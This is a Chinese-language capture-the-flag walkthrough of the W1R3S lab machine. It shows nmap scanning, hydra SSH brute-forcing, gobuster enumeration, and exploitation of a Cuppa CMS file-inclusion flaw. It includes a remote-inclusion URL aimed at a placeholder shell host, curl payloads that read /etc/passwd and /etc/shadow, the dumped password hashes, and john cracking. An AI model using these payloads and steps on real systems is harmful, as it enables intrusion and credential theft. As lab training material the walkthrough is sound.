

## 一.扫描阶段

1.主机发现: `sudo nmap -sn 192.68.253.0/24`

发现新增ip地址192.168.253.137

2.扫描该ip开放端口: `sudo nmap --min-rate 10000 192.168.253.137 -oA nmapscan/ports/w1r3s`

--min-rate限制扫描速率 10000兼顾速度与质量, -oA将结果保存在该路径下

```
(kali@Pduck)~$ sudo nmap --min-rate 10000 192.168.253.137 -oA nmapscan/ports/w1r3s
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 16:41 CST
Nmap scan report for bogon (192.168.253.137)
Host is up (0.0015s latency).
Not shown: 966 filtered tcp ports (no-response), 30 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
MAC Address: 00:0C:29:2F:3C:E8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
```

3.对主机进行更加详细的扫描: `sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.253.137 -oA nmapscan/detail/w1r3s`

```
(kali@Pduck)~$ sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.253.137 -oA nmapscan/detail/w1r3s
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 16:42 CST
Nmap scan report for bogon (192.168.253.137)
Host is up (0.0011s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
|_ ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to ::ffff:192.168.253.141
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 1
|_   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 ftp      ftp      4096 Jan 23  2018 content
|_ drwxr-xr-x  2 ftp      ftp      4096 Jan 23  2018 docs
|_ drwxr-xr-x  2 ftp      ftp      4096 Jan 28  2018 new-employees
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
|_   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_   256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Apache2 Ubuntu Default Page: It works
3306/tcp  open  mysql     MySQL (unauthorized)
MAC Address: 00:0C:29:2F:3C:E8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (97%), Linux 3.10 - 4.11 (96%), Linux 5.1 (94%), Linux 4.10 (93%), Linux 4.4 (93%), Synology DiskStation Manager 5.2-5644 (93%), Linux 3.4 - 3.10 (92%), Linux 3.10 (92%), Linux 3.13 - 3.16 (91%), Linux 5.0 - 5.4 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds
```

4.对主机进行udp扫描: `sudo nmap -sU -p21,22,80,3306 192.168.253.137 -oA nmapscan/udp/w1r3s`

没有发现

5.对主机进行nmap默认脚本漏洞扫描: `sudo nmap --script=vuln -p21,22,80,3306 192.168.253.137 -oA nmapscan/vuln/w1r3s`



Gina.L - Inventory  
Rico.D - Human Resources

自己生成用户字典，把相关人物添加进去，

用hydra进行爆破

Hydra -l user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.253.137 -t 4

-l:指定用户名列表

hydra对于国外的英语环境破解比较好，但是暴力破解很多靶机不支持

### 三.HTTP web渗透

1.查看192.168.253.137网页：

正常的网页架构界面，源码也没有隐藏信息

将扫描得到的http-enum路径插入发现无法登录，有跳转，可能是路径有错误

2.进行目录爆破sudo gobuster dir -u <http://192.168.253.137> --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

```
(kali@Pduck)-[~]
$ sudo gobuster dir -u http://192.168.253.137 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.253.137
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/wordpress (Status: 301) [Size: 322] [→ http://192.168.253.137/w
ordpress/]
/javascript (Status: 301) [Size: 323] [→ http://192.168.253.137/j
avascript/]
/administrator (Status: 301) [Size: 326] [→ http://192.168.253.137/a
dministrator/]
/server-status (Status: 403) [Size: 280]
Progress: 220560 / 220561 (100.00%)

Finished
```

3.wordpress 自动跳转到local host无法连接，尝试修改sudo /etc/hosts

192.168.253.137 localhost

192.168.253.137 任意域名

127.0.0.1 kali

kali不允许localhost指定非本机ip

任意域名可以访问ip，localhost不行 | 如果指定wordpress都不能访问

可能要深度调整，所以将优先级排后

4.administrator目录可以登录

进入到一个cuppa cms界面

按流程操作并没有新的发现，源码也没有隐藏信息

searchsploit cuppa

Searchsploit cuppa -m 25971 m:mirror kali内有存储库

```
(kali@Pduck)-[~]
$ searchsploit cuppa

Exploit Title | Path
---|---
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt

Shellcodes: No Results
Papers: No Results

(kali@Pduck)-[~]
$ searchsploit cuppa -m
[!] Could not find EDB-ID #

(kali@Pduck)-[~]
$ searchsploit cuppa -m 25971
[!] Could not find EDB-ID #

Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
URL: https://www.exploit-db.com/exploits/25971
Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
Codes: OSVDB-94101
Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /home/kali/25971.txt
```

发现路径

<http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?>

<http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../etc/passwd>

尝试连接发现失败，猜测可能是根目录不对，进行尝试

4.administrator 出现页面，但是没有完全出现

文档显示有：

LINE 22:

```
<?php include($_REQUEST["urlConfig"]); ?>
```

查看cuppa 官方源码，发现网页请求为ports，而默认为get，进行更改 (可以使用burpsuit)

```
(kali@Pduck)-[~/Desktop]
$ curl --help all | grep url
Usage: curl [options ...] <url>
  -data-urlencode <data> HTTP POST data URL encoded
  -q, --disable .curlrc
  --disallow-username-in-url Disallow username in URL
  --doh-url <URL> Resolve host names over DoH
  --libcurl <file> Dump libcurl equivalent code of this command line
  --url <url> URL to work with
  --url-query <data> Add a URL query part
```

可以url进行编码 以ports的方式

curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd' <http://192.168.253.137/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../etc/passwd>

发现密码加密，看看能不能进入shadow文件

发现三个密码存入passwd.hash中：

```
root:$6$yYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3IBs.Ouiu0mENav72TfQls8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JmxE7I0$yQ16jM..ZsFxpGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:6xe/eyoTx$gttdlYxrstPJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
```

用john passwd.hash 默认破解

ssh登录连接 sudo ssh id@ip